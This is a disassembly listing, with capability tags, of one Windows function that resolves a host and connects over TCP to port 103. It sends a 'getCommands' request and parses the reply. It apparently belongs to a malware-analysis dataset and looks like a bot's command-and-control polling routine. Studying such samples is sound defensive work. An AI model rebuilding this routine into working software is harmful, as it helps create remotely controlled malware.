Function at 0x405020
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x200
mov esi, ecx
mov dword [ebp - 0x200], eax
call fcn.0040862d
add esp, 4
mov ebx, eax
push 0x800
mov dword [ebp - 0x1fc], ebx
call fcn.0040862d
add esp, 4
mov dword [ebp - 0x1f8], eax
push 0x800
push 0
push eax
call fcn.0040dc80
add esp, 0xc
push str.b_getCommands
push 0x200
push ebx
call fcn.00409099
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405091
sub ecx, edx
push ecx
mov edx, ebx
lea ecx, [ebp - 0x20]
call fcn.004043b0
add esp, 4
lea eax, [ebp - 0x1f4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jns 0x4050cf
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, dword [ebp - 0x200]
jmp 0x405230
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40522a
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405230
mov ecx, 2
mov word [ebp - 0x30], cx
mov eax, dword [eax + 0xc]
push 0x67
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
push 0x10
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40513c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405230
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x20]
cmp edx, 0x10
cmovae ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x204], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405154
sub ecx, dword [ebp - 0x204]
push 0
cmp edx, 0x10
lea eax, [ebp - 0x20]
push ecx
cmovae eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40522a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
xor esi, esi
push 0
mov eax, 0x7ff
sub eax, esi
push eax
mov eax, dword [ebp - 0x1f8]
add eax, esi
push eax
push edi
call ebx
add esi, eax
cmp esi, 0x800
jge 0x4051aa
test eax, eax
jg 0x405186
cmp eax, 0xffffffff
jne 0x4051bd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, dword [ebp - 0x1fc]
jmp 0x405230
push dword [ebp - 0x1fc]
call fcn.00409151
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
test esi, esi
jle 0x405246
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x60]
call fcn.00403850
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x48]
call fcn.00404550
lea ecx, [ebp - 0x60]
call fcn.00403930
cmp dword [ebp - 0x34], 0x10
mov edx, dword [ebp - 0x200]
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
call fcn.00404bb0
lea ecx, [ebp - 0x48]
test al, al
jne 0x405221
call fcn.00403930
jmp 0x405246
call fcn.00403930
mov bl, 1
jmp 0x405248
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push ebx
call fcn.00409151
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor bl, bl
cmp dword [ebp - 0xc], 0x10
jb 0x405259
push dword [ebp - 0x20]
call fcn.00409339
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0040903f
mov esp, ebp
pop ebp
ret